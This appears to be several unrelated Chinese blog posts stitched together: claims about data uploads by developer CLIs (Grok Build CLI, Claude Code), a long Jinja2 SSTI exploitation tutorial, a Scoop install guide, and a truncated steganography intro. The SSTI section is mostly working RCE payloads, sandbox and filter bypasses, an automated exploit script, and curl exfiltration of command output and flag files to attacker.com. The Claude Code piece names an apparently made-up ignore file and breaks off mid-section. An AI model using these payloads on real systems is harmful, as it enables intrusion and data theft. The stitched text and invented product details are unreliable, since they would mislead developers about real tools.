近期，随着 xAI 的生态不断扩展，其配套的开发者工具 Grok Build CLI 受到了不少开发者的关注。作为一款主打智能化、旨在提升构建和部署效率的命令行工具，它在带来便利的同时，却在开发者社区中引发了一场不小的信任危机。

最近，有安全研究人员和开发者在技术论坛上爆料，指出 Grok Build CLI 在运行过程中存在“偷传用户数据”的行为。这究竟是常规的遥测数据收集，还是不可原谅的隐私侵犯？本文将为你梳理事件的来龙去脉。

🚨 争议的焦点：它在后台做了什么？

很多开发者在使用抓包工具（如 Wireshark、Charles）监控本地网络流量时，发现 Grok Build CLI 在执行看似普通的本地构建命令时，会向 xAI 的服务器发送大量的加密数据包。进一步的逆向分析揭示，这些上传的数据不仅包含了基础的遥测信息，还涉嫌包含了过度收集的用户数据：

1. 环境与系统信息：包括操作系统的详细版本、当前用户的环境变量、CPU 与内存的硬件配置信息。
2. 项目架构特征：工具会扫描当前项目的工作区，上传目录结构树、依赖配置文件（如 package.json、requirements.txt 等），甚至包括某些被忽略的本地配置文件。
3. 部分源代码片段：在某些构建报错的情况下，CLI 似乎会自动截取包含错误上下文的代码片段并上传，以此来辅助“云端 AI 错误分析”，但这通常未在命令行界面给予明确的授权提示。

对于许多涉及商业机密或严格合规要求的企业开发者来说，这种未明确告知的“偷传”行为无疑触碰了安全红线。

🛡️ 是“常规遥测”还是“过度收集”？

针对社区的质疑，官方往往会以“改善产品体验”和“提供智能错误诊断”作为解释。确实，在现代开发者工具（如 VS Code、各类语言的官方 CLI）中，收集遥测数据（Telemetry）早已是行业惯例。

然而，Grok Build CLI 此次惹众怒的原因在于：

• 缺乏透明度：在安装和初始化的过程中，没有醒目的提示告知用户数据将被收集。
• Opt-out 机制隐蔽：默认开启了全量收集，且关闭遥测的命令并未在官方文档的显眼位置标注。
• 收集范围过大：将收集范围从单纯的“工具崩溃日志”扩大到了“项目代码上下文”，打破了本地工具应有的边界。

🛠️ 如何防范？安全使用指南

如果你仍然需要使用 Grok Build CLI，或者身处必须使用的企业环境中，建议采取以下防范措施来保护你的代码和数据安全：

1. 强制关闭遥测功能

据社区摸索，可以通过设置环境变量或运行配置命令来尝试关闭其遥测功能。在使用该工具前，请确保执行以下操作：

# 通过命令行配置关闭遥测
grok config set telemetry false

# 或者通过环境变量禁用（建议写入 ~/.bashrc 或 ~/.zshrc）
export GROK_CLI_TELEMETRY_OPTOUT=1

2. 配置严格的忽略规则

类似于 Git，确保在项目根目录中配置忽略文件，明确拒绝对敏感文件和目录的访问：

• 仔细检查并完善你的 .gitignore。
• 如果该工具有专属的忽略文件（如 .grokignore），请务必在其中添加 .env、keys/、secrets/ 等目录。

3. 使用网络沙箱或防火墙拦截

对于极度敏感的项目，建议在受限的网络环境中运行构建命令。你可以使用防火墙规则（如 macOS 的 Little Snitch、Linux 的 iptables 或 ufw）来拦截 Grok Build CLI 进程对外部遥测域名的访问，仅放行必要的依赖下载请求。

📝 结语

Grok Build CLI 偷传数据风波，再次给我们敲响了警钟。在 AI 深度融入开发工作流的今天，工具的“智能化”往往以牺牲本地环境的“封闭性”为代价。

作为开发者，我们不仅要关注工具能带来多少效率的提升，更要时刻保持对隐私和数据安全的敏感度。毕竟，最好的代码永远是安全且属于你自己的代码。

随着 Anthropic 推出的 CLI 智能体 Claude Code 在开发者圈子里迅速走红，关于它的讨论也从最初的“提效神器”延伸到了隐私和安全的层面。

最近，在社交媒体和一些开发者论坛上，有人声称在 Claude Code 的运行逻辑中发现了“类似间谍行为”的代码。这究竟是确有其事，还是只是一场虚惊？本文将带你一探究竟。

🔍 争议的焦点：它在上传什么？

许多开发者在企业或个人的严格网络监控下使用 Claude Code 时，发现它会频繁地向 Anthropic 的服务器发送 HTTPS 请求。更让人担忧的是，有安全人员抓包发现：

1. 代码库上下文（Context）：Claude Code 在执行任务时，会自动索引当前工作区的目录结构、文件内容，甚至 Git 提交历史，并在提示词中将其发送给 Claude 接口。
2. 终端历史记录：有些执行过的 Shell 命令会被记录并发送。
3. 遥测数据（Telemetry）：包括你的操作系统类型、CLI 版本、使用频率，以及运行时的错误日志。

对于习惯了本地离线工具（如 grep、sed）的传统开发者来说，工具私自扫描代码库并联网上传，确实具有极强的“间谍软件”既视感。

🛡️ “间谍代码”的真相

客观来看，Claude Code 的这些行为与其说它是“间谍”，不如说是当前 Agent 架构的必然技术妥协。

• 为什么需要上下文？：作为一个自主型 Agent，Claude Code 必须了解你的项目架构才能正确修改代码。如果它不读取文件，就无法进行跨文件的重构和调试。
• 关于遥测（Telemetry）：Anthropic 官方在其安全文档中指出，收集遥测数据仅用于产品改进和故障排查，并不以训练为目的直接兜售代码。
• 代码数据存储：根据 Anthropic 的企业隐私协议，通过 API（包括 Claude Code 所使用的后台接口）传输的数据默认在 30 天内删除，且不用于训练其公开模型。

尽管如此，这种“先斩后奏”的扫描和上传机制在未经企业信息安全部门审批前，依然是一项巨大的安全隐患。

🛠️ 如何彻底“防谍”？配置与避坑指南

如果你希望继续享受 Claude Code 带来的便利，同时最大程度保护隐私，建议采取以下防范手段：

1. 关闭遥测数据收集

在安装或运行 Claude Code 时，你可以通过全局设置显式禁用 Telemetry。 运行以下命令关闭数据收集：

claude config set telemetry false

2. 配置 .claudecodingignore（最重要的一步）

类似于 .gitignore，你可以在项目根目录下创建 .claudecodingignore 文件，明确禁止 Claude Code 访问特定的敏感目录或文件（如 .env，secrets/，或者存有商业机密的代码）：

# 忽略所有敏感环境配置文件
.env*
*.pem
secrets/

# 忽略打包及依赖目录
node_modules/
dist/

3. 审查它所运行的命令

Claude Code 在执行可能会更改系统状态或联网的 Shell 命令时，会先向你请求授权：

📝 结语

所谓的“间谍代码”，实际上是现代 AI 智能体高度依赖上下文与网络交互的副作用。作为开发者，我们应当保持理性的安全警惕，而非陷入恐慌。

通过合理配置忽略列表、关闭遥测选项并严格审查工具的执行权限，我们完全可以在保护代码安全的前提下，驯服这头强大的 AI 兽。

一、什么是 SSTI？

SSTI（Server Side Template Injection，服务器端模板注入） 是一种Web安全漏洞，攻击者通过向模板引擎注入恶意代码，使服务器端执行非预期的操作。

模板引擎在Web开发中用于将用户界面和业务数据分离，使逻辑代码和业务代码分离，提高代码复用性和开发效率。服务器端使用模板引擎对数据进行渲染，再传递给用户，可以针对特定用户/特定参数生成相应的页面。

二、Python Flask 和 Jinja2 基础

Flask 框架简介

Flask 是 Python 中的轻量级Web应用框架，使用 Jinja2 作为模板引擎。

Flask 快速搭建

Bash

# 安装虚拟环境
pip install virtualenv
# 生成虚拟环境
virtualenv venv
# 激活环境
./venv/Scripts/activate.bat
# 安装Flask
pip install flask

基础示例代码

Python

from flask import Flask
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'Hello World!'

if __name__ == '__main__':
    app.run()

Jinja2 模板语法

Jinja2 支持以下语法进行数据渲染：

• ​**{{}}**​：将花括号内的内容作为表达式执行并返回结果

Python

{{3*4}}  # 会被解析为12

• ​**{%%}**​：用于声明变量或条件/循环语句

Python

{% set s = 'Tuzk1' %}  # 声明变量
{% if var is true %}Tuzk1{%endif%}  # 条件语句
{% for i in range(3) %}Tuzk1{%endfor%}  # 循环语句

• ​**{##}**​：注释

三、SSTI 漏洞成因

漏洞产生原理

SSTI 漏洞的根本原因是：​服务器端将用户可控的输入直接拼接到模板中进行渲染​，导致恶意代码被执行。

代码对比分析

存在漏洞的代码

Python

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    t = '''
        <html>
            <h1>Hello %s</h1>
        </html>
        ''' % (name)
    # 将拼接后的字符串作为模板进行渲染
    return render_template_string(t)

app.run()

当传入 {{10-1}} 作为参数时，表达式会被执行，这就是 SSTI 漏洞的特征。

安全的代码

Python

from flask import Flask, request, render_template
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', default='guest')
    # 先渲染模板，再拼接字符串
    return render_template('index.html', name=name)

app.run()

​关键区别​：render_template 会对字符串进行​自动转义​，而 render_template_string 不会自动转义用户拼接的内容。

四、漏洞利用技术

利用思路

基本的 RCE（远程代码执行）利用思路：

1. 找一个内置类（如 []、""）
2. 通过该类获取到 object 类
3. 通过 object 类获取所有子类
4. 在子类列表中找到可利用的类
5. 调用类下面的函数或使用该类空间下的其他模块

常用魔术方法

寻找可利用类

Python

# 获取对象所属的类
''.__class__  # <class 'str'>

# 获取父类
''.__class__.__base__  # <class 'object'>

# 获取所有子类
''.__class__.__base__.__subclasses__()

可利用的类包括：

• linecache
• os._wrap_close
• subprocess.Popen
• warnings.catch_warnings

常见 Payload 构造

RCE 执行命令

Python

# 利用 warnings.catch_warnings 配合 __builtins__ 得到 eval 函数
{{[].__class__.__base__.__subclasses__()[138].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

# 利用 os._wrap_close 类
{{"".__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}

# 利用 subprocess.Popen 类
{{''.__class__.__base__.__subclasses__()[479]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

文件读写

Python

# Python2 利用 file 类读文件
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

# 通用文件读取
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}{% endfor %}

高级 Payload 构造技巧

1. 利用 attr 过滤器绕过沙箱

最新的 CVE-2025-27516 揭示了 Jinja2 沙箱的一个重要绕过技术：^7^^8^

Python

# 传统沙箱会拦截 str.format 调用
# 但可以使用 |attr 过滤器获取 format 方法的引用
{{ ''|attr('format')('Hello {}', 'World') }}

# 利用 attr 绕过沙箱执行命令
{{ ''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('whoami')|attr('read')() }}

2. 利用 format 方法的高级技巧

CVE-2024-56326 展示了存储恶意字符串 format 方法引用的技术：^3^

Python

# 存储恶意 format 方法引用
{% set evil = '{0.__init__.__globals__[__builtins__][__import__]("os").system("whoami")}'.__format__ %}
# 通过过滤器调用
{{ evil(''.__class__.__base__.__subclasses__()[128]) }}

3. 文件名和内容双重控制利用

CVE-2024-56201 揭示了当攻击者同时控制模板内容和文件名时的利用方式：^2^

Python

# 通过控制文件名注入代码
# 文件名: ../../../{{7*7}}.html
# 内容: 恶意模板代码
{% include request.args.file %}  # 可导致任意代码执行

混淆和编码技巧

1. 字符串拼接混淆

Python

# 使用波浪号(~)连接字符串
{% set a = 'po' %}
{% set b = 'pen' %}
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__[a~b]('whoami').read() }}

# 使用 join 拼接
{% set cmd = ['ca','t',' ','/f','lag']|join %}
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}

2. 字符编码绕过

Python

# 十六进制编码
{% set cmd = '\x77\x68\x6f\x61\x6d\x69' %}  # whoami

# 八进制编码
{% set cmd = '\167\150\157\141\155\151' %}  # whoami

# Unicode 编码绕过关键字检测
{{ ''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f'] }}  # __class__

3. 数字和字符转换

Python

# 使用 chr 函数构造字符串
{% set chr = ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{% set cmd = chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105) %}  # whoami
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}

深度绕过技术

1. 利用 lipsum 对象

Python

# lipsum 是 Jinja2 内置的生成假文本的函数
# 可以通过它获取 __globals__
{{ lipsum.__globals__['os'].popen('whoami').read() }}
{{ lipsum.__globals__.__builtins__.open('/etc/passwd').read() }}

2. 利用 cycler 对象

Python

# cycler 用于循环迭代
{{ cycler.__init__.__globals__.os.popen('whoami').read() }}
{{ cycler.__init__.__globals__.__builtins__.eval("__import__('os').system('whoami')") }}

3. 利用 joiner 对象

Python

# joiner 用于连接字符串
{{ joiner.__init__.__globals__.os.popen('whoami').read() }}

沙箱逃逸技术

1. 利用内置过滤器

Python

# 利用 map 过滤器
{{ ''.__class__.__base__.__subclasses__()|map(attribute='__init__')|map(attribute='__globals__')|list|map(attribute='popen')|list }}

# 利用 select 和 reject 过滤器
{{ ().__class__.__base__.__subclasses__()|select('equalto', 'Popen')|list }}

2. 利用 namespace 对象

Python

# 创建命名空间对象绕过限制
{% set ns = namespace(a='__cla', b='ss__') %}
{{ ''|attr(ns.a~ns.b) }}  # 等同于 ''.__class__

3. 利用 with 语句

Python

# 使用 with 语句创建上下文
{% with %}
  {% set cmd = 'whoami' %}
  {{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen(cmd).read() }}
{% endwith %}

盲注和外带技术

1. 基于时间的盲注

Python

# 使用 sleep 延迟
{% if ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('sleep 5').read() %}{% endif %}

# 条件判断配合延迟
{% if config.SECRET_KEY[0] == 'a' %}
  {% for i in range(10000000) %}{% endfor %}
{% endif %}

2. DNS 外带

Python

# 将数据通过 DNS 请求外带
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('curl http://$(whoami).attacker.com/').read() }}

# Base64 编码外带
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('curl http://attacker.com/$(cat /flag | base64 -w0)').read() }}

3. 错误信息外带

Python

# 触发错误显示敏感信息
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('1/0') }}

# 利用异常信息
{{ undefined.variable[config.SECRET_KEY] }}

特殊环境下的利用

1. Docker 环境利用

根据 ​CVE-2025-23211​，在 Docker Compose 环境中可能以 root 权限执行：^1^

Python

# 检测是否在容器中
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('cat /proc/1/cgroup').read() }}

# 容器逃逸尝试
{{ ''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('fdisk -l').read() }}

2. 受限环境突破

Python

# 当 __builtins__ 被删除时
{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("whoami").read()') }}
        {% endif %}
      {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

五、CTF 中的绕过技巧

过滤单双引号

Python

# 通过 request 传参绕过
{{"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen(request.values.rce).read()}}&rce=cat /flag

# 使用 chr 函数拼接字符串
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}

过滤中括号

Python

# 使用 __getitem__() 和 pop() 绕过
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()

过滤双下划线

Python

# request 传参绕过
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}
&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤双花括号

Python

# 使用 {% print %} 绕过
{%print(''.__class__.__base__.__subclasses__()[138].__init__.__globals__.popen('whoami').read())%}

综合绕过示例

过滤引号、中括号、下划线、花括号的情况：

Python

# 使用 getlist 和 attr 组合绕过
{%print(flask|attr(request.args.getlist(request.args.l1)|join)|attr(request.args.getlist(request.args.l2)|join)|attr(request.args.getlist(request.args.l3)|join)()|attr(request.args.getlist(request.args.l4)|join)(138)|attr(request.args.getlist(request.args.l5)|join)|attr(request.args.getlist(request.args.l6)|join)).popen(request.args.rce).read()%}
&l1=a&a=_&a=_&a=class&a=_&a=_
&l2=b&b=_&b=_&b=base&b=_&b=_
&l3=c&c=_&c=_&c=subclasses&c=_&c=_
&l4=d&d=_&d=_&d=getitem&d=_&d=_
&l5=e&e=_&e=_&e=init&e=_&e=_
&l6=f&f=_&f=_&f=globals&f=_&f=_
&rce=whoami

防御绕过总结

六、防御措施

1. 代码层面防御

安全的模板渲染实践

Python

# 使用沙箱环境
from jinja2 import Environment, FileSystemLoader, select_autoescape
from jinja2.sandbox import SandboxedEnvironment

# 创建沙箱环境
env = SandboxedEnvironment(
    loader=FileSystemLoader('templates'),
    autoescape=select_autoescape(['html', 'xml'])
)

# 禁用危险函数
env.globals = {}
env.filters = {}

2. 输入验证增强

Python

import re

def validate_template_input(user_input):
    # 黑名单过滤
    blacklist = [
        '__class__', '__base__', '__subclasses__',
        '__globals__', '__import__', 'eval', 'exec',
        'os', 'subprocess', 'open', 'file'
    ]

    for keyword in blacklist:
        if keyword in user_input:
            raise ValueError(f"Forbidden keyword: {keyword}")

    # 正则表达式检测
    dangerous_patterns = [
        r'\{\{.*\}\}',  # Jinja2 表达式
        r'\{%.*%\}',    # Jinja2 语句
        r'__\w+__',     # 双下划线方法
    ]

    for pattern in dangerous_patterns:
        if re.search(pattern, user_input):
            raise ValueError("Potentially dangerous pattern detected")

    return user_input

3. WAF 规则配置

Plaintext

# Nginx WAF 规则示例
location / {
    # 检测 SSTI 特征
    if ($args ~* "(__class__|__base__|__subclasses__|__import__|eval|exec)") {
        return 403;
    }

    if ($request_body ~* "(\{\{|\{%|__\w+__)") {
        return 403;
    }
}

4. 深度防御策略

1. ​避免直接拼接用户输入​：先渲染模板，再处理用户输入
2. ​使用安全的渲染函数​：使用 render_template 而非 render_template_string
3. ​输入验证和过滤​：对用户输入进行严格的验证和过滤
4. ​最小权限原则​：限制模板引擎的执行权限
5. ​使用沙箱环境​：在受限的环境中执行模板渲染

七、真实世界的 SSTI 漏洞案例

近期 CVE 漏洞

以下是一些真实存在的 SSTI 漏洞案例，展示了该漏洞在实际应用中的危害：

CVE-2025-49619 - Skyvern SSTI 漏洞^13^^12^

• 影响版本：Skyvern 0.1.85 及之前版本
• 漏洞位置：工作流块（如 Navigation v2 Block）的 Prompt 字段
• 危害：攻击者可通过注入恶意模板代码执行任意命令

CVE-2025-25362 - Spacy-LLM SSTI 漏洞^5^

• 影响版本：Spacy-LLM v0.7.2
• 漏洞原理：模板字段未正确过滤用户输入
• 利用方式：通过注入精心构造的 payload 到模板字段实现任意代码执行

CVE-2024-22722 - Form Tools SSTI 漏洞^4^

• 影响版本：Form Tools 3.1.1
• 漏洞位置：添加表单部分的 Group Name 字段
• 危害：允许攻击者运行任意命令

CVE-2024-32651 - changedetection.io SSTI 漏洞^11^^6^

• 影响组件：changedetection.io
• 漏洞类型：Jinja2 中的服务器端模板注入
• 危害：允许远程命令执行，攻击者可以运行任何系统命令并使用反向shell

八、其他模板引擎的 SSTI

虽然本文主要讨论 Python 的 Jinja2，但 SSTI 漏洞广泛存在于各种模板引擎中：

Twig 模板引擎（PHP）

Twig 是 PHP 中常用的模板引擎，在 WordPress 插件中经常出现 SSTI 漏洞：^9^^10^

• ​WPML 插件漏洞​：影响超过百万 WordPress 网站，由于未正确清理输入导致 SSTI
• 漏洞原理：插件使用 Twig 模板渲染短代码内容，但未能正确清理输入

跨语言 SSTI 检测方法

Python

# 通用检测 payload（适用于多种模板引擎）
{{7*7}}          # 预期输出：49
${7*7}           # 预期输出：49
<%= 7*7 %>       # 预期输出：49
${{7*7}}         # 预期输出：49
#{7*7}           # 预期输出：49

九、高级利用技术

自动化利用工具

tplmap - 自动化 SSTI 检测和利用工具

Bash

# 安装
git clone https://github.com/epinna/tplmap
cd tplmap

# 基本使用
python tplmap.py -u "http://target.com/page?name=*"

# 指定模板引擎
python tplmap.py -u "http://target.com/page?name=*" -e Jinja2

# 执行系统命令
python tplmap.py -u "http://target.com/page?name=*" --os-shell

自动化利用脚本

Python

#!/usr/bin/env python3
# SSTI 自动化利用脚本

import requests
import sys

class SSTIExploiter:
    def __init__(self, url):
        self.url = url
        self.payloads = {
            'basic': "{{7*7}}",
            'rce': "{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__.popen('COMMAND').read()}}",
            'lipsum': "{{lipsum.__globals__['os'].popen('COMMAND').read()}}",
            'attr': "{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(128)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('COMMAND')|attr('read')()}}",
        }

    def test_vulnerability(self):
        """测试是否存在 SSTI 漏洞"""
        test_payload = self.payloads['basic']
        response = requests.get(self.url, params={'input': test_payload})
        if '49' in response.text:
            print("[+] SSTI vulnerability detected!")
            return True
        return False

    def execute_command(self, command, method='rce'):
        """执行系统命令"""
        payload = self.payloads[method].replace('COMMAND', command)
        response = requests.get(self.url, params={'input': payload})
        return response.text

    def find_subclass_index(self, class_name):
        """查找特定子类的索引"""
        payload = "{{''.__class__.__base__.__subclasses__()}}"
        response = requests.get(self.url, params={'input': payload})
        # 解析响应找到目标类的索引
        if class_name in response.text:
            # 实现索引查找逻辑
            pass

if __name__ == "__main__":
    exploiter = SSTIExploiter(sys.argv[1])
    if exploiter.test_vulnerability():
        result = exploiter.execute_command('id')
        print(result)

十、漏洞挖掘方法论

1. 黑盒测试流程

1. 识别模板引擎
   • 发送数学表达式：{{7*7}}、${7*7}
   • 发送错误触发 payload：{{7*'7'}}
   • 观察错误信息判断引擎类型
2. 确认漏洞存在
   • 测试基础运算
   • 测试字符串操作
   • 测试函数调用
3. 逐步提升权限
   • 获取类和方法
   • 寻找危险函数
   • 构造 RCE payload

2. 代码审计要点

重点关注以下代码模式：

• render_template_string() 的使用
• 用户输入直接拼接到模板
• 动态模板生成
• 自定义模板过滤器和函数

总结

Python SSTI 漏洞是 CTF 比赛中的常见题型，理解其原理和利用方法对于网络安全学习至关重要。掌握各种绕过技巧能够帮助在实战中灵活应对不同的过滤规则。同时，了解这些攻击手法也有助于在开发中避免此类安全问题。

这些高级技术展示了 SSTI 漏洞利用的复杂性和多样性，同时也强调了在开发中实施多层防御的重要性。通过深入理解 SSTI 的原理、利用技术和防御措施，我们可以更好地保护 Web 应用免受此类攻击。

介绍

Scoop 是一个面向 Windows 的命令行包管理器，目标是让软件安装、更新与管理变得简单、可重复且无需管理员权限。它将应用安装在用户目录（默认 ~\\scoop），通过“bucket”（软件仓库）提供大量常用 CLI 与 GUI 软件，支持版本锁定、缓存与一键更新。

• 核心特点：
  • 无需管理员权限，默认安装到当前用户目录。
  • 安装透明、可移植，配置与应用彼此隔离，便于清理。
  • 通过“bucket”扩展软件源，覆盖常见开发与日常应用。
  • 快速更新与回收清理，保持系统整洁。

安装 Scoop

在 PowerShell（非管理员）中执行以下步骤：

1. 允许当前用户执行脚本（一次性设置）：

   Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
   

2. 安装 Scoop：

   iwr -useb get.scoop.sh | iex
   

3. 验证安装：

   scoop --version
   

提示：

• 如果遇到网络/TLS 问题，可在新会话重试或切换网络环境。
• 默认会将 ~\\scoop\\shims 加入 PATH，确保在新会话中可用。

快速上手：常用命令

核心用法：搜索、安装、更新、卸载

• 搜索软件：

  scoop search 7zip
  

• 安装软件：

  scoop install 7zip
  scoop install git
  scoop install nodejs-lts
  

• 查看已安装与详情：

  scoop list
  scoop info 7zip
  

• 更新（Scoop 本体与应用）：

  scoop update            # 更新 Scoop
  scoop update *          # 更新全部应用
  scoop update 7zip       # 更新指定应用
  

• 卸载与清理：

  scoop uninstall 7zip
  scoop cleanup *         # 清理旧版本
  scoop cache rm *        # 清空下载缓存
  

进阶：Buckets（软件源）

Scoop 通过“bucket”扩展软件范围。默认启用 main，可按需添加：

• 查看可用与已添加的 bucket：

  scoop bucket known
  scoop bucket list
  

• 添加常用 bucket（包含大量 GUI/常用软件）：

  scoop bucket add extras
  

• 示例：安装 VLC（添加 extras 后可直接安装）：

  scoop install vlc
  

常见 buckets：

• main：默认常用 CLI/工具
• extras：GUI 与更多应用
• versions：多版本/旧版本
• nerd-fonts：开发者字体等

全局安装（可选）

需要对所有用户可见或放到系统目录时使用全局安装（需管理员权限）：

scoop install -g 7zip

实用小技巧

• 体检环境与依赖：

  scoop checkup
  

• 固定/解锁应用版本（避免被更新）：

  scoop hold nodejs-lts
  scoop unhold nodejs-lts
  

• 查可执行文件路径：

  scoop which git
  

总结

• Scoop 让 Windows 下的软件管理更简单、可重复、可维护。
• 记住这几步就够用：install → search → install → update → uninstall。
• 按需添加 extras 等 buckets，即可覆盖大多数日常与开发场景。

多版本运行时与切换（Python / PHP / JDK / Rust / Ruby）

Scoop 的多版本机制基于“并行安装 + shim 指向当前版本”的设计：

• 每个应用以版本号安装在 ~\\scoop\\apps\\<app>\\<version>。
• scoop reset <app> 会切换 current 指向，从而让 PATH 中的 shim 指向目标版本。
• 某些生态（如 Rust）更推荐使用官方版本管理器（例如 rustup）在同一安装下切换工具链。

为便于获取不同版本，常用到如下 buckets：

• Main（默认）：ScoopInstaller/Main
• Versions（多版本/旧版本）：ScoopInstaller/Versions
• Java（各类 JDK 发行版与 LTS 系列）：ScoopInstaller/Java

下面分别给出各语言的典型做法与示例。

Python

• 建议 buckets：

  • Main：ScoopInstaller/Main
  • Versions：ScoopInstaller/Versions

• 示例（安装多个大版本并切换）：

  scoop bucket add versions
  scoop install main/python                  # 最新版 Python
  scoop install versions/python311           # 指定大版本
  scoop install versions/python312
  
  # 让 python 命令指向 3.11 对应安装
  scoop reset python311
  python --version
  

• 提示：

  • 多版本共存时，scoop reset <app> 决定 PATH 中命令落到哪一套。
  • 项目隔离仍建议使用 venv/virtualenv。

PHP

• 建议 buckets：

  • Main：ScoopInstaller/Main
  • Versions：ScoopInstaller/Versions

• 示例（并行安装 8.2 与 8.3，按需切换）：

  scoop bucket add versions
  scoop install versions/php82
  scoop install versions/php83
  
  # 切到 8.3
  scoop reset php83
  php -v
  

• 提示：

  • 不同项目可通过不同 PHP 目录或容器/服务层面区分；命令行默认走当前激活版本。

JDK（Java）

• 建议 bucket：

  • Java：ScoopInstaller/Java

• 常见包名（示例）：temurin8-jdk、temurin11-jdk、temurin17-jdk、temurin21-jdk

• 示例（安装多套 JDK 并切换激活集）：

  scoop bucket add java
  scoop install temurin17-jdk
  scoop install temurin21-jdk
  
  # 设定当前激活 JDK（JAVA_HOME/Path 由 Scoop 对应到该版本）
  scoop reset temurin17-jdk
  java -version
  

• 提示：

  • 也可并行安装不同发行版（Temurin/Zulu/GraalVM 等），用 scoop reset <包名> 选择当前生效的一套。

Rust

• 建议做法：通过 rustup 管理多版本工具链（Scoop 负责安装 rustup）。

• 建议 bucket：

  • Main：ScoopInstaller/Main

• 示例（安装 rustup，并用其切换 toolchain）：

  scoop install rustup
  
  # 安装并切换工具链
  rustup toolchain install stable
  rustup toolchain install 1.77.0
  rustup default 1.77.0
  
  rustc --version
  cargo --version
  

• 提示：

  • rustup 支持 stable/beta/nightly 以及精确版本，按项目需要快速切换。

Ruby

• 建议 buckets：

  • Main：ScoopInstaller/Main
  • Versions：ScoopInstaller/Versions

• 示例（并行安装多版本 Ruby 并切换）：

  scoop bucket add versions
  scoop install main/ruby
  scoop install versions/ruby31
  scoop install versions/ruby33
  
  # 切到 Ruby 3.1
  scoop reset ruby31
  ruby -v
  

• 提示：

  • 每个 Ruby 安装自带独立 gem 目录；项目层面建议配合 Bundler/Gemfile 管理依赖。

LSB隐写

LSB隐写技术概述

LSB（Least Significant Bit，最低有效位）隐写是一种数字隐写术技术，它通过修改数字媒体（如图像、音频或视频）中数据的最低有效位来隐藏信息。由于人类感官通常无法察觉这些微小的变化，LSB隐写可以在不引起注意的情况下传递秘密信息。

LSB隐写技术原理

在数字系统中，数据以二进制形式存储。以图像为例，每个像素的颜色由RGB三个通道组成，每个通道通常用8位（1字节）表示，范围从0到255。

LSB隐写利用了这样一个事实：修改这些8位中的最低位（第1位）对图像的视觉效果影响极小。例如，将像素值从200（11001000）改为201（11001001）几乎不会产生肉眼可见的差异。

通过系统地修改图像中所有像素的LSB，我们可以嵌入大量信息而不会明显改变图像的外观。

LSB 加密（隐藏）流程图

1. 开始
   • 明确载体类型与容量需求（图像分辨率、通道数、可用比特数）
2. 读取输入
   • 读取载体图像（RGB 或 RGBA）
   • 读取待隐藏数据（文本或二进制文件）
3. 预处理数据（可选但推荐）
   • 压缩数据以提高有效载荷率
   • 对数据进行对称加密（如 AES/SM4），并随机化字节分布
   • 添加完整性校验（如 CRC32 或 HMAC）
4. 序列化为比特流
   • 将数据长度写入头部（例如 32 位）
   • 将正文数据按字节展开为 bit 序列
5. 容量检查
   • 计算最大可嵌入位数 = 可用于嵌入的像素数 × 每像素使用的通道数
   • 若 数据位数 > 最大可嵌入位数 → 报错并终止
6. 嵌入策略选择
   • 顺序嵌入：按像素与通道顺序写入 LSB
   • 伪随机嵌入（推荐）：用密钥驱动 PRNG 生成写入索引序列
7. 遍历写入
   • 对每个选中的像素通道：
     • 取出下一位数据 bit
     • 通道值 = (通道值 & ~1) | bit
     • 写回像素
   • 若数据写入完成则提前结束遍历
8. 输出
   • 保存隐写图像（无损格式如 PNG）
   • 记录或返回写入统计信息（使用位数、头部长度等）
9. 结束

• 示例伪代码

input: cover_image, payload
payload_bits = header(len(payload)) + to_bits(payload)
assert len(payload_bits) <= capacity(cover_image)
indices = prng_indices(key) or range(capacity)
for i, idx in enumerate(indices):
    if i == len(payload_bits): break
    channel_value = get_channel(cover_image, idx)
    set_channel(cover_image, idx, (channel_value & ~1) | payload_bits[i])
save(cover_image, 'stego.png')

LSB隐写的优缺点

优点：

• 实现简单，容易理解
• 对载体媒体的视觉影响几乎不可察觉
• 可以隐藏相对较大量的数据

缺点：

• 抗攻击能力较弱，容易被统计分析检测
• 对图像压缩等操作很敏感，可能导致隐藏数据丢失
• 在某些情况下，可能会引入统计异常

Python实现LSB隐写

